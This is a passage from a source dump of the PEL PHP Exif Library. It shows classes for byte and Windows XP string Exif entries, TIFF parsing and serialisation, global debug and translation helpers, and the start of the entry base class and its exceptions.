$this->components; $i++) { 301 | $str .= ($brief ? ' ' : ', '); 302 | $str .= $this->formatNumber($this->value[$i]); 303 | } 304 | 305 | return $str; 306 | } 307 | 308 | } 309 | 310 | -------------------------------------------------------------------------------- /pel/PelEntryByte.php: -------------------------------------------------------------------------------- 1 | 34 | * @version $Revision$ 35 | * @date $Date$ 36 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 37 | * License (GPL) 38 | * @package PEL 39 | */ 40 | 41 | /**#@+ Required class definitions. */ 42 | require_once('PelEntryNumber.php'); 43 | /**#@-*/ 44 | 45 | 46 | /** 47 | * Class for holding unsigned bytes. 48 | * 49 | * This class can hold bytes, either just a single byte or an array of 50 | * bytes. The class will be used to manipulate any of the Exif tags 51 | * which has format {@link PelFormat::BYTE}. 52 | * 53 | * @author Martin Geisler 54 | * @package PEL 55 | */ 56 | class PelEntryByte extends PelEntryNumber { 57 | 58 | /** 59 | * Make a new entry that can hold an unsigned byte. 60 | * 61 | * The method accept several integer arguments. The {@link 62 | * getValue} method will always return an array except for when a 63 | * single integer argument is given here. 64 | * 65 | * @param PelTag the tag which this entry represents. This 66 | * should be one of the constants defined in {@link PelTag} 67 | * which has format {@link PelFormat::BYTE}. 68 | * 69 | * @param int $value... the byte(s) that this entry will represent. 70 | * The argument passed must obey the same rules as the argument to 71 | * {@link setValue}, namely that it should be within range of an 72 | * unsigned byte, that is between 0 and 255 (inclusive). If not, 73 | * then a {@link PelOverflowException} will be thrown. 74 | */ 75 | function __construct($tag /* $value... */) { 76 | $this->tag = $tag; 77 | $this->min = 0; 78 | $this->max = 255; 79 | $this->format = PelFormat::BYTE; 80 | 81 | $value = func_get_args(); 82 | array_shift($value); 83 | $this->setValueArray($value); 84 | } 85 | 86 | 87 | /** 88 | * Convert a number into bytes. 89 | * 90 | * @param int the number that should be converted. 91 | * 92 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 93 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 94 | * 95 | * @return string bytes representing the number given. 96 | */ 97 | function numberToBytes($number, $order) { 98 | return chr($number); 99 | } 100 | 101 | } 102 | 103 | 104 | /** 105 | * Class for holding signed bytes. 106 | * 107 | * This class can hold bytes, either just a single byte or an array of 108 | * bytes. The class will be used to manipulate any of the Exif tags 109 | * which has format {@link PelFormat::BYTE}. 110 | * 111 | * @author Martin Geisler 112 | * @package PEL 113 | */ 114 | class PelEntrySByte extends PelEntryNumber { 115 | 116 | /** 117 | * Make a new entry that can hold a signed byte. 118 | * 119 | * The method accept several integer arguments. The {@link getValue} 120 | * method will always return an array except for when a single 121 | * integer argument is given here. 122 | * 123 | * @param PelTag the tag which this entry represents. This 124 | * should be one of the constants defined in {@link PelTag} 125 | * which has format {@link PelFormat::BYTE}. 126 | * 127 | * @param int $value... the byte(s) that this entry will represent. 128 | * The argument passed must obey the same rules as the argument to 129 | * {@link setValue}, namely that it should be within range of a 130 | * signed byte, that is between -128 and 127 (inclusive). If not, 131 | * then a {@link PelOverflowException} will be thrown. 132 | */ 133 | function __construct($tag /* $value... */) { 134 | $this->tag = $tag; 135 | $this->min = -128; 136 | $this->max = 127; 137 | $this->format = PelFormat::SBYTE; 138 | 139 | $value = func_get_args(); 140 | array_shift($value); 141 | $this->setValueArray($value); 142 | } 143 | 144 | 145 | /** 146 | * Convert a number into bytes. 147 | * 148 | * @param int the number that should be converted. 149 | * 150 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and 151 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. 152 | * 153 | * @return string bytes representing the number given. 154 | */ 155 | function numberToBytes($number, $order) { 156 | return chr($number); 157 | } 158 | 159 | } 160 | 161 | 162 | /** 163 | * Class used to manipulate strings in the format Windows XP uses. 164 | * 165 | * When examining the file properties of an image in Windows XP one 166 | * can fill in title, comment, author, keyword, and subject fields. 167 | * Filling those fields and pressing OK will result in the data being 168 | * written into the Exif data in the image. 169 | * 170 | * The data is written in a non-standard format and can thus not be 171 | * loaded directly --- this class is needed to translate it into 172 | * normal strings. 173 | * 174 | * It is important that entries from this class are only created with 175 | * the {@link PelTag::XP_TITLE}, {@link PelTag::XP_COMMENT}, {@link 176 | * PelTag::XP_AUTHOR}, {@link PelTag::XP_KEYWORD}, and {@link 177 | * PelTag::XP_SUBJECT} tags. If another tag is used the data will no 178 | * longer be correctly decoded when reloaded with PEL. (The data will 179 | * be loaded as an {@link PelEntryByte} entry, which isn't as useful.) 180 | * 181 | * This class is to be used as in 182 | * 183 | * $title = $ifd->getEntry(PelTag::XP_TITLE); 184 | * print($title->getValue()); 185 | * $title->setValue('My favorite cat'); 186 | * 187 | * or if no entry is present one can add a new one with 188 | * 189 | * $title = new PelEntryWindowsString(PelTag::XP_TITLE, 'A cute dog.'); 190 | * $ifd->addEntry($title); 191 | * 192 | * 193 | * @author Martin Geisler 194 | * @package PEL 195 | */ 196 | class PelEntryWindowsString extends PelEntry { 197 | 198 | /** 199 | * The string hold by this entry. 200 | * 201 | * This is the string that was given to the {@link __construct 202 | * constructor} or later to {@link setValue}, without any extra NULL 203 | * characters or any such nonsense. 204 | * 205 | * @var string 206 | */ 207 | private $str; 208 | 209 | 210 | /** 211 | * Make a new PelEntry that can hold a Windows XP specific string. 212 | * 213 | * @param int the tag which this entry represents. This should be 214 | * one of {@link PelTag::XP_TITLE}, {@link PelTag::XP_COMMENT}, 215 | * {@link PelTag::XP_AUTHOR}, {@link PelTag::XP_KEYWORD}, and {@link 216 | * PelTag::XP_SUBJECT} tags. If another tag is used, then this 217 | * entry will be incorrectly reloaded as a {@link PelEntryByte}. 218 | * 219 | * @param string the string that this entry will represent. It will 220 | * be passed to {@link setValue} and thus has to obey its 221 | * requirements. 222 | */ 223 | function __construct($tag, $str = '') { 224 | $this->tag = $tag; 225 | $this->format = PelFormat::BYTE; 226 | $this->setValue($str); 227 | } 228 | 229 | 230 | /** 231 | * Give the entry a new value. 232 | * 233 | * This will overwrite the previous value. The value can be 234 | * retrieved later with the {@link getValue} method. 235 | * 236 | * @param string the new value of the entry. This should be use the 237 | * Latin-1 encoding and be given without any extra NULL characters. 238 | */ 239 | function setValue($str) { 240 | $l = strlen($str); 241 | 242 | $this->components = 2 * ($l + 1); 243 | $this->str = $str; 244 | $this->bytes = ''; 245 | for ($i = 0; $i < $l; $i++) 246 | $this->bytes .= $str{$i} . chr(0x00); 247 | 248 | $this->bytes .= chr(0x00) . chr(0x00); 249 | } 250 | 251 | 252 | /** 253 | * Return the string of the entry. 254 | * 255 | * @return string the string held, without any extra NULL 256 | * characters. The string will be the same as the one given to 257 | * {@link setValue} or to the {@link __construct constructor}. 258 | */ 259 | function getValue() { 260 | return $this->str; 261 | } 262 | 263 | 264 | /** 265 | * Return the string of the entry. 266 | * 267 | * This methods returns the same as {@link getValue}. 268 | * 269 | * @param boolean not used. 270 | * 271 | * @return string the string held, without any extra NULL 272 | * characters. The string will be the same as the one given to 273 | * {@link setValue} or to the {@link __construct constructor}. 274 | */ 275 | function getText($brief = false) { 276 | return $this->str; 277 | } 278 | 279 | } 280 | 281 | -------------------------------------------------------------------------------- /pel/PelTiff.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('PelDataWindow.php'); 41 | require_once('PelIfd.php'); 42 | require_once('Pel.php'); 43 | /**#@-*/ 44 | 45 | 46 | /** 47 | * Class for handling TIFF data. 48 | * 49 | * Exif data is actually an extension of the TIFF file format. TIFF 50 | * images consist of a number of {@link PelIfd Image File Directories} 51 | * (IFDs), each containing a number of {@link PelEntry entries}. The 52 | * IFDs are linked to each other --- one can get hold of the first one 53 | * with the {@link getIfd()} method. 54 | * 55 | * To parse a TIFF image for Exif data one would do: 56 | * 57 | * 58 | * $tiff = new PelTiff($data); 59 | * $ifd0 = $tiff->getIfd(); 60 | * $exif = $ifd0->getSubIfd(PelIfd::EXIF); 61 | * $ifd1 = $ifd0->getNextIfd(); 62 | * 63 | * 64 | * Should one have some image data of an unknown type, then the {@link 65 | * PelTiff::isValid()} function is handy: it will quickly test if the 66 | * data could be valid TIFF data. The {@link PelJpeg::isValid()} 67 | * function does the same for JPEG images. 68 | * 69 | * @author Martin Geisler 70 | * @package PEL 71 | */ 72 | class PelTiff { 73 | 74 | /** 75 | * TIFF header. 76 | * 77 | * This must follow after the two bytes indicating the byte order. 78 | */ 79 | const TIFF_HEADER = 0x002A; 80 | 81 | /** 82 | * The first Image File Directory, if any. 83 | * 84 | * If set, then the type of the IFD must be {@link PelIfd::IFD0}. 85 | * 86 | * @var PelIfd 87 | */ 88 | private $ifd = null; 89 | 90 | 91 | /** 92 | * Construct a new object for holding TIFF data. 93 | * 94 | * The new object will be empty (with no {@link PelIfd}) unless an 95 | * argument is given from which it can initialize itself. This can 96 | * either be the filename of a TIFF image or a {@link PelDataWindow} 97 | * object. 98 | * 99 | * Use {@link setIfd()} to explicitly set the IFD. 100 | */ 101 | function __construct($data = false) { 102 | if ($data === false) 103 | return; 104 | 105 | if (is_string($data)) { 106 | Pel::debug('Initializing PelTiff object from %s', $data); 107 | $this->loadFile($data); 108 | } elseif ($data instanceof PelDataWindow) { 109 | Pel::debug('Initializing PelTiff object from PelDataWindow.'); 110 | $this->load($data); 111 | } else { 112 | throw new PelInvalidArgumentException('Bad type for $data: %s', 113 | gettype($data)); 114 | } 115 | } 116 | 117 | 118 | /** 119 | * Load TIFF data. 120 | * 121 | * The data given will be parsed and an internal tree representation 122 | * will be built. If the data cannot be parsed correctly, a {@link 123 | * PelInvalidDataException} is thrown, explaining the problem. 124 | * 125 | * @param PelDataWindow the data from which the object will be 126 | * constructed. This should be valid TIFF data, coming either 127 | * directly from a TIFF image or from the Exif data in a JPEG image. 128 | */ 129 | function load(PelDataWindow $d) { 130 | Pel::debug('Parsing %d bytes of TIFF data...', $d->getSize()); 131 | 132 | /* There must be at least 8 bytes available: 2 bytes for the byte 133 | * order, 2 bytes for the TIFF header, and 4 bytes for the offset 134 | * to the first IFD. */ 135 | if ($d->getSize() < 8) 136 | throw new PelInvalidDataException('Expected at least 8 bytes of TIFF ' . 137 | 'data, found just %d bytes.', 138 | $d->getSize()); 139 | 140 | /* Byte order */ 141 | if ($d->strcmp(0, 'II')) { 142 | Pel::debug('Found Intel byte order'); 143 | $d->setByteOrder(PelConvert::LITTLE_ENDIAN); 144 | } elseif ($d->strcmp(0, 'MM')) { 145 | Pel::debug('Found Motorola byte order'); 146 | $d->setByteOrder(PelConvert::BIG_ENDIAN); 147 | } else { 148 | throw new PelInvalidDataException('Unknown byte order found in TIFF ' . 149 | 'data: 0x%2X%2X', 150 | $d->getByte(0), $d->getByte(1)); 151 | } 152 | 153 | /* Verify the TIFF header */ 154 | if ($d->getShort(2) != self::TIFF_HEADER) 155 | throw new PelInvalidDataException('Missing TIFF magic value.'); 156 | 157 | /* IFD 0 offset */ 158 | $offset = $d->getLong(4); 159 | Pel::debug('First IFD at offset %d.', $offset); 160 | 161 | if ($offset > 0) { 162 | /* Parse the first IFD, this will automatically parse the 163 | * following IFDs and any sub IFDs. */ 164 | $this->ifd = new PelIfd(PelIfd::IFD0); 165 | $this->ifd->load($d, $offset); 166 | } 167 | } 168 | 169 | 170 | /** 171 | * Load data from a file into a TIFF object. 172 | * 173 | * @param string the filename. This must be a readable file. 174 | */ 175 | function loadFile($filename) { 176 | $this->load(new PelDataWindow(file_get_contents($filename))); 177 | } 178 | 179 | 180 | /** 181 | * Set the first IFD. 182 | * 183 | * @param PelIfd the new first IFD, which must be of type {@link 184 | * PelIfd::IFD0}. 185 | */ 186 | function setIfd(PelIfd $ifd) { 187 | if ($ifd->getType() != PelIfd::IFD0) 188 | throw new PelInvalidDataException('Invalid type of IFD: %d, expected %d.', 189 | $ifd->getType(), PelIfd::IFD0); 190 | 191 | $this->ifd = $ifd; 192 | } 193 | 194 | 195 | /** 196 | * Return the first IFD. 197 | * 198 | * @return PelIfd the first IFD contained in the TIFF data, if any. 199 | * If there is no IFD null will be returned. 200 | */ 201 | function getIfd() { 202 | return $this->ifd; 203 | } 204 | 205 | 206 | /** 207 | * Turn this object into bytes. 208 | * 209 | * TIFF images can have {@link PelConvert::LITTLE_ENDIAN 210 | * little-endian} or {@link PelConvert::BIG_ENDIAN big-endian} byte 211 | * order, and so this method takes an argument specifying that. 212 | * 213 | * @param PelByteOrder the desired byte order of the TIFF data. 214 | * This should be one of {@link PelConvert::LITTLE_ENDIAN} or {@link 215 | * PelConvert::BIG_ENDIAN}. 216 | * 217 | * @return string the bytes representing this object. 218 | */ 219 | function getBytes($order = PelConvert::LITTLE_ENDIAN) { 220 | if ($order == PelConvert::LITTLE_ENDIAN) 221 | $bytes = 'II'; 222 | else 223 | $bytes = 'MM'; 224 | 225 | /* TIFF magic number --- fixed value. */ 226 | $bytes .= PelConvert::shortToBytes(self::TIFF_HEADER, $order); 227 | 228 | if ($this->ifd != null) { 229 | /* IFD 0 offset. We will always start IDF 0 at an offset of 8 230 | * bytes (2 bytes for byte order, another 2 bytes for the TIFF 231 | * header, and 4 bytes for the IFD 0 offset make 8 bytes 232 | * together). 233 | */ 234 | $bytes .= PelConvert::longToBytes(8, $order); 235 | 236 | /* The argument specifies the offset of this IFD. The IFD will 237 | * use this to calculate offsets from the entries to their data, 238 | * all those offsets are absolute offsets counted from the 239 | * beginning of the data. */ 240 | $bytes .= $this->ifd->getBytes(8, $order); 241 | } else { 242 | $bytes .= PelConvert::longToBytes(0, $order); 243 | } 244 | 245 | return $bytes; 246 | } 247 | 248 | 249 | /** 250 | * Return a string representation of this object. 251 | * 252 | * @return string a string describing this object. This is mostly useful 253 | * for debugging. 254 | */ 255 | function __toString() { 256 | $str = Pel::fmt("Dumping TIFF data...\n"); 257 | if ($this->ifd != null) 258 | $str .= $this->ifd->__toString(); 259 | 260 | return $str; 261 | } 262 | 263 | 264 | /** 265 | * Check if data is valid TIFF data. 266 | * 267 | * This will read just enough data from the data window to determine 268 | * if the data could be a valid TIFF data. This means that the 269 | * check is more like a heuristic than a rigorous check. 270 | * 271 | * @param PelDataWindow the bytes that will be examined. 272 | * 273 | * @return boolean true if the data looks like valid TIFF data, 274 | * false otherwise. 275 | * 276 | * @see PelJpeg::isValid() 277 | */ 278 | static function isValid(PelDataWindow $d) { 279 | /* First check that we have enough data. */ 280 | if ($d->getSize() < 8) 281 | return false; 282 | 283 | /* Byte order */ 284 | if ($d->strcmp(0, 'II')) { 285 | $d->setByteOrder(PelConvert::LITTLE_ENDIAN); 286 | } elseif ($d->strcmp(0, 'MM')) { 287 | Pel::debug('Found Motorola byte order'); 288 | $d->setByteOrder(PelConvert::BIG_ENDIAN); 289 | } else { 290 | return false; 291 | } 292 | 293 | /* Verify the TIFF header */ 294 | return $d->getShort(2) == self::TIFF_HEADER; 295 | } 296 | 297 | } -------------------------------------------------------------------------------- /pel/Pel.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | 40 | /* Initialize Gettext, if available. This must be done before any 41 | * part of PEL calls Pel::tra() or Pel::fmt() --- this is ensured if 42 | * every piece of code using those two functions require() this file. 43 | * 44 | * If Gettext is not available, wrapper functions will be created, 45 | * allowing PEL to function, but without any translations. 46 | * 47 | * The PEL translations are stored in './locale'. It is important to 48 | * use an absolute path here because the lookups will be relative to 49 | * the current directory. */ 50 | 51 | if (function_exists('dgettext')) { 52 | bindtextdomain('pel', dirname(__FILE__) . '/locale'); 53 | } else { 54 | 55 | /** 56 | * Pretend to lookup a message in a specific domain. 57 | * 58 | * This is just a stub which will return the original message 59 | * untranslated. The function will only be defined if the Gettext 60 | * extension has not already defined it. 61 | * 62 | * @param string $domain the domain. 63 | * 64 | * @param string $str the message to be translated. 65 | * 66 | * @return string the original, untranslated message. 67 | */ 68 | function dgettext($domain, $str) { 69 | return $str; 70 | } 71 | } 72 | 73 | 74 | /** 75 | * Class with miscellaneous static methods. 76 | * 77 | * This class will contain various methods that govern the overall 78 | * behavior of PEL. 79 | * 80 | * Debugging output from PEL can be turned on and off by assigning 81 | * true or false to {@link Pel::$debug}. 82 | * 83 | * @author Martin Geisler 84 | * @package PEL 85 | */ 86 | class Pel { 87 | 88 | /** 89 | * Flag for controlling debug information. 90 | * 91 | * The methods producing debug information ({@link debug()} and 92 | * {@link warning()}) will only output something if this variable is 93 | * set to true. 94 | * 95 | * @var boolean 96 | */ 97 | private static $debug = false; 98 | 99 | /** 100 | * Flag for strictness of parsing. 101 | * 102 | * If this variable is set to true, then most errors while loading 103 | * images will result in exceptions being thrown. Otherwise a 104 | * warning will be emitted (using {@link Pel::warning}) and the 105 | * exceptions will be appended to {@link Pel::$exceptions}. 106 | * 107 | * Some errors will still be fatal and result in thrown exceptions, 108 | * but an effort will be made to skip over as much garbage as 109 | * possible. 110 | * 111 | * @var boolean 112 | */ 113 | private static $strict = false; 114 | 115 | /** 116 | * Stored exceptions. 117 | * 118 | * When {@link Pel::$strict} is set to false exceptions will be 119 | * accumulated here instead of being thrown. 120 | */ 121 | private static $exceptions = array(); 122 | 123 | /** 124 | * Quality setting for encoding JPEG images. 125 | * 126 | * This controls the quality used then PHP image resources are 127 | * encoded into JPEG images. This happens when you create a 128 | * {@link PelJpeg} object based on an image resource. 129 | * 130 | * The default is 75 for average quality images, but you can change 131 | * this to an integer between 0 and 100. 132 | * 133 | * @var int 134 | */ 135 | private static $quality = 75; 136 | 137 | 138 | /** 139 | * Set the JPEG encoding quality. 140 | * 141 | * @param int $quality an integer between 0 and 100 with 75 being 142 | * average quality and 95 very good quality. 143 | */ 144 | function setJPEGQuality($quality) { 145 | self::$quality = $quality; 146 | } 147 | 148 | 149 | /** 150 | * Get current setting for JPEG encoding quality. 151 | * 152 | * @return int the quality. 153 | */ 154 | function getJPEGQuality() { 155 | return self::$quality; 156 | } 157 | 158 | 159 | /** 160 | * Return list of stored exceptions. 161 | * 162 | * When PEL is parsing in non-strict mode, it will store most 163 | * exceptions instead of throwing them. Use this method to get hold 164 | * of them when a call returns. 165 | * 166 | * Code for using this could look like this: 167 | * 168 | * 169 | * Pel::setStrictParsing(true); 170 | * Pel::clearExceptions(); 171 | * 172 | * $jpeg = new PelJpeg($file); 173 | * 174 | * // Check for exceptions. 175 | * foreach (Pel::getExceptions() as $e) { 176 | * printf("Exception: %s\n", $e->getMessage()); 177 | * if ($e instanceof PelEntryException) { 178 | * // Warn about entries that couldn't be loaded. 179 | * printf("Warning: Problem with %s.\n", 180 | * PelTag::getName($e->getType(), $e->getTag())); 181 | * } 182 | * } 183 | * 184 | * 185 | * This gives applications total control over the amount of error 186 | * messages shown and (hopefully) provides the necessary information 187 | * for proper error recovery. 188 | * 189 | * @return array the exceptions. 190 | */ 191 | static function getExceptions() { 192 | return self::$exceptions; 193 | } 194 | 195 | 196 | /** 197 | * Clear list of stored exceptions. 198 | * 199 | * Use this function before a call to some method if you intend to 200 | * check for exceptions afterwards. 201 | */ 202 | static function clearExceptions() { 203 | self::$exceptions = array(); 204 | } 205 | 206 | 207 | /** 208 | * Conditionally throw an exception. 209 | * 210 | * This method will throw the passed exception when strict parsing 211 | * in effect (see {@link setStrictParsing()}). Otherwise the 212 | * exception is stored (it can be accessed with {@link 213 | * getExceptions()}) and a warning is issued (with {@link 214 | * Pel::warning}). 215 | * 216 | * @param PelException $e the exceptions. 217 | */ 218 | static function maybeThrow(PelException $e) { 219 | if (self::$strict) { 220 | throw $e; 221 | } else { 222 | self::$exceptions[] = $e; 223 | self::warning('%s (%s:%s)', $e->getMessage(), 224 | basename($e->getFile()), $e->getLine()); 225 | } 226 | } 227 | 228 | 229 | /** 230 | * Enable/disable strict parsing. 231 | * 232 | * If strict parsing is enabled, then most errors while loading 233 | * images will result in exceptions being thrown. Otherwise a 234 | * warning will be emitted (using {@link Pel::warning}) and the 235 | * exceptions will be stored for later use via {@link 236 | * getExceptions()}. 237 | * 238 | * Some errors will still be fatal and result in thrown exceptions, 239 | * but an effort will be made to skip over as much garbage as 240 | * possible. 241 | * 242 | * @param boolean $flag use true to enable strict parsing, false to 243 | * diable. 244 | */ 245 | function setStrictParsing($flag) { 246 | self::$strict = $flag; 247 | } 248 | 249 | 250 | /** 251 | * Get current setting for strict parsing. 252 | * 253 | * @return boolean true if strict parsing is in effect, false 254 | * otherwise. 255 | */ 256 | function getStrictParsing() { 257 | return self::$strict; 258 | } 259 | 260 | 261 | /** 262 | * Enable/disable debugging output. 263 | * 264 | * @param boolean $flag use true to enable debug output, false to 265 | * diable. 266 | */ 267 | function setDebug($flag) { 268 | self::$debug = $flag; 269 | } 270 | 271 | 272 | /** 273 | * Get current setting for debug output. 274 | * 275 | * @return boolean true if debug is enabled, false otherwise. 276 | */ 277 | function getDebug() { 278 | return self::$debug; 279 | } 280 | 281 | 282 | /** 283 | * Conditionally output debug information. 284 | * 285 | * This method works just like printf() except that it always 286 | * terminates the output with a newline, and that it only outputs 287 | * something if the {@link Pel::$debug} is true. 288 | * 289 | * @param string $format the format string. 290 | * 291 | * @param mixed $args,... any number of arguments can be given. The 292 | * arguments will be available for the format string as usual with 293 | * sprintf(). 294 | */ 295 | static function debug() { 296 | if (self::$debug) { 297 | $args = func_get_args(); 298 | $str = array_shift($args); 299 | vprintf($str . "\n", $args); 300 | } 301 | } 302 | 303 | 304 | /** 305 | * Conditionally output a warning. 306 | * 307 | * This method works just like printf() except that it prepends the 308 | * output with the string 'Warning: ', terminates the output with a 309 | * newline, and that it only outputs something if the PEL_DEBUG 310 | * defined to some true value. 311 | * 312 | * @param string $format the format string. 313 | * 314 | * @param mixed $args,... any number of arguments can be given. The 315 | * arguments will be available for the format string as usual with 316 | * sprintf(). 317 | */ 318 | static function warning() { 319 | if (self::$debug) { 320 | $args = func_get_args(); 321 | $str = array_shift($args); 322 | vprintf('Warning: ' . $str . "\n", $args); 323 | } 324 | } 325 | 326 | 327 | /** 328 | * Translate a string. 329 | * 330 | * This static function will use Gettext to translate a string. By 331 | * always using this function for static string one is assured that 332 | * the translation will be taken from the correct text domain. 333 | * Dynamic strings should be passed to {@link fmt} instead. 334 | * 335 | * @param string the string that should be translated. 336 | * 337 | * @return string the translated string, or the original string if 338 | * no translation could be found. 339 | */ 340 | static function tra($str) { 341 | return dgettext('pel', $str); 342 | } 343 | 344 | 345 | /** 346 | * Translate and format a string. 347 | * 348 | * This static function will first use Gettext to translate a format 349 | * string, which will then have access to any extra arguments. By 350 | * always using this function for dynamic string one is assured that 351 | * the translation will be taken from the correct text domain. If 352 | * the string is static, use {@link tra} instead as it will be 353 | * faster. 354 | * 355 | * @param string $format the format string. This will be translated 356 | * before being used as a format string. 357 | * 358 | * @param mixed $args,... any number of arguments can be given. The 359 | * arguments will be available for the format string as usual with 360 | * sprintf(). 361 | * 362 | * @return string the translated string, or the original string if 363 | * no translation could be found. 364 | */ 365 | static function fmt() { 366 | $args = func_get_args(); 367 | $str = array_shift($args); 368 | return vsprintf(dgettext('pel', $str), $args); 369 | } 370 | 371 | } 372 | 373 | -------------------------------------------------------------------------------- /pel/PelEntry.php: -------------------------------------------------------------------------------- 1 | 38 | * @version $Revision$ 39 | * @date $Date$ 40 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 41 | * License (GPL) 42 | * @package PEL 43 | */ 44 | 45 | /**#@+ Required class definitions. */ 46 | require_once('PelException.php'); 47 | require_once('PelFormat.php'); 48 | require_once('PelTag.php'); 49 | require_once('Pel.php'); 50 | /**#@-*/ 51 | 52 | 53 | /** 54 | * Exception indicating a problem with an entry. 55 | * 56 | * @author Martin Geisler 57 | * @package PEL 58 | * @subpackage Exception 59 | */ 60 | class PelEntryException extends PelException { 61 | 62 | /** 63 | * The IFD type (if known). 64 | * 65 | * @var int 66 | */ 67 | protected $type; 68 | 69 | /** 70 | * The tag of the entry (if known). 71 | * 72 | * @var PelTag 73 | */ 74 | protected $tag; 75 | 76 | /** 77 | * Get the IFD type associated with the exception. 78 | * 79 | * @return int one of {@link PelIfd::IFD0}, {@link PelIfd::IFD1}, 80 | * {@link PelIfd::EXIF}, {@link PelIfd::GPS}, or {@link 81 | * PelIfd::INTEROPERABILITY}. If no type is set, null is returned. 82 | */ 83 | function getIfdType() { 84 | return $this->type; 85 | } 86 | 87 | 88 | /** 89 | * Get the tag associated with the exception. 90 | * 91 | * @return PelTag the tag. If no tag is set, null is returned. 92 | */ 93 | function getTag() { 94 | return $this->tag; 95 | } 96 | 97 | } 98 | 99 | 100 | /** 101 | * Exception indicating that an unexpected format was found. 102 | * 103 | * The documentation for each tag in {@link PelTag} will detail any 104 | * constrains. 105 | * 106 | * @author Martin Geisler 107 | * @package PEL 108 | * @subpackage Exception 109 | */ 110 | class PelUnexpectedFormatException extends PelEntryException { 111 | 112 | /** 113 | * Construct a new exception indicating an invalid format. 114 | * 115 | * @param int the type of IFD. 116 | * 117 | * @param PelTag the tag for which the violation was found. 118 | * 119 | * @param PelFormat the format found. 120 | * 121 | * @param PelFormat the expected format. 122 | */ 123 | function __construct($type, $tag, $found, $expected) { 124 | parent::__construct('Unexpected format found for %s tag: PelFormat::%s. ' . 125 | 'Expected PelFormat::%s instead.', 126 | PelTag::getName($type, $tag), 127 | strtoupper(PelFormat::getName($found)), 128 | strtoupper(PelFormat::getName($expected))); 129 | $this->tag = $tag; 130 | $this->type = $type; 131 | } 132 | } 133 | 134 | 135 | /** 136 | * Exception indicating that an unexpected number of components was 137 | * found. 138 | * 139 | * Some tags have strict limits as to the allowed number of 140 | * components, and this exception is thrown if the data violates such 141 | * a constraint. The documentation for each tag in {@link PelTag} 142 | * explains the expected number of components. 143 | * 144 | * @author Martin Geisler 145 | * @package PEL 146 | * @subpackage Exception 147 | */ 148 | class PelWrongComponentCountException extends PelEntryException { 149 | 150 | /** 151 | * Construct a new exception indicating a wrong number of 152 | * components. 153 | * 154 | * @param int the type of IFD. 155 | * 156 | * @param PelTag the tag for which the violation was found. 157 | * 158 | * @param int the number of components found. 159 | * 160 | * @param int the expected number of components. 161 | */ 162 | function __construct($type, $tag, $found, $expected) { 163 | parent::__construct('Wrong number of components found for %s tag: %d. ' . 164 | 'Expected %d.', 165 | PelTag::getName($type, $tag), $found, $expected); 166 | $this->tag = $tag; 167 | $this->type = $type; 168 | } 169 | } 170 | 171 | 172 | /** 173 | * Common ancestor class of all {@link PelIfd} entries. 174 | * 175 | * As this class is abstract you cannot instantiate objects from it. 176 | * It only serves as a common ancestor to define the methods common to 177 | * all entries. The most important methods are {@link getValue()} and 178 | * {@link setValue()}, both of which is abstract in this class. The 179 | * descendants will give concrete implementations for them. 180 | * 181 | * If you have some data coming from an image (some raw bytes), then 182 | * the static method {@link newFromData()} is helpful --- it will look 183 | * at the data and give you a proper decendent of {@link PelEntry} 184 | * back. 185 | * 186 | * If you instead want to have an entry for some data which take the 187 | * form of an integer, a string, a byte, or some other PHP type, then 188 | * don't use this class. You should instead create an object of the 189 | * right subclass ({@link PelEntryShort} for short integers, {@link 190 | * PelEntryAscii} for strings, and so on) directly. 191 | * 192 | * @author Martin Geisler 193 | * @package PEL 194 | */ 195 | abstract class PelEntry { 196 | 197 | /** 198 | * Type of IFD containing this tag. 199 | * 200 | * This must be one of the constants defined in {@link PelIfd}: 201 | * {@link PelIfd::IFD0} for the main image IFD, {@link PelIfd::IFD1} 202 | * for the thumbnail image IFD, {@link PelIfd::EXIF} for the Exif 203 | * sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or {@link 204 | * PelIfd::INTEROPERABILITY} for the interoperability sub-IFD. 205 | * 206 | * @var int 207 | */ 208 | protected $ifd_type; 209 | 210 | /** 211 | * The bytes representing this entry. 212 | * 213 | * Subclasses must either override {@link getBytes()} or, if 214 | * possible, maintain this property so that it always contains a 215 | * true representation of the entry. 216 | * 217 | * @var string 218 | */ 219 | protected $bytes = ''; 220 | 221 | /** 222 | * The {@link PelTag} of this entry. 223 | * 224 | * @var PelTag 225 | */ 226 | protected $tag; 227 | 228 | /** 229 | * The {@link PelFormat} of this entry. 230 | * 231 | * @var PelFormat 232 | */ 233 | protected $format; 234 | 235 | /** 236 | * The number of components of this entry. 237 | * 238 | * @var int 239 | */ 240 | protected $components; 241 | 242 | 243 | /** 244 | * Return the tag of this entry. 245 | * 246 | * @return PelTag the tag of this entry. 247 | */ 248 | function getTag() { 249 | return $this->tag; 250 | } 251 | 252 | 253 | /** 254 | * Return the type of IFD which holds this entry. 255 | * 256 | * @return int one of the constants defined in {@link PelIfd}: 257 | * {@link PelIfd::IFD0} for the main image IFD, {@link PelIfd::IFD1} 258 | * for the thumbnail image IFD, {@link PelIfd::EXIF} for the Exif 259 | * sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or {@link 260 | * PelIfd::INTEROPERABILITY} for the interoperability sub-IFD. 261 | */ 262 | function getIfdType() { 263 | return $this->ifd_type; 264 | } 265 | 266 | 267 | /** 268 | * Update the IFD type. 269 | * 270 | * @param int must be one of the constants defined in {@link 271 | * PelIfd}: {@link PelIfd::IFD0} for the main image IFD, {@link 272 | * PelIfd::IFD1} for the thumbnail image IFD, {@link PelIfd::EXIF} 273 | * for the Exif sub-IFD, {@link PelIfd::GPS} for the GPS sub-IFD, or 274 | * {@link PelIfd::INTEROPERABILITY} for the interoperability 275 | * sub-IFD. 276 | */ 277 | function setIfdType($type) { 278 | $this->ifd_type = $type; 279 | } 280 | 281 | 282 | /** 283 | * Return the format of this entry. 284 | * 285 | * 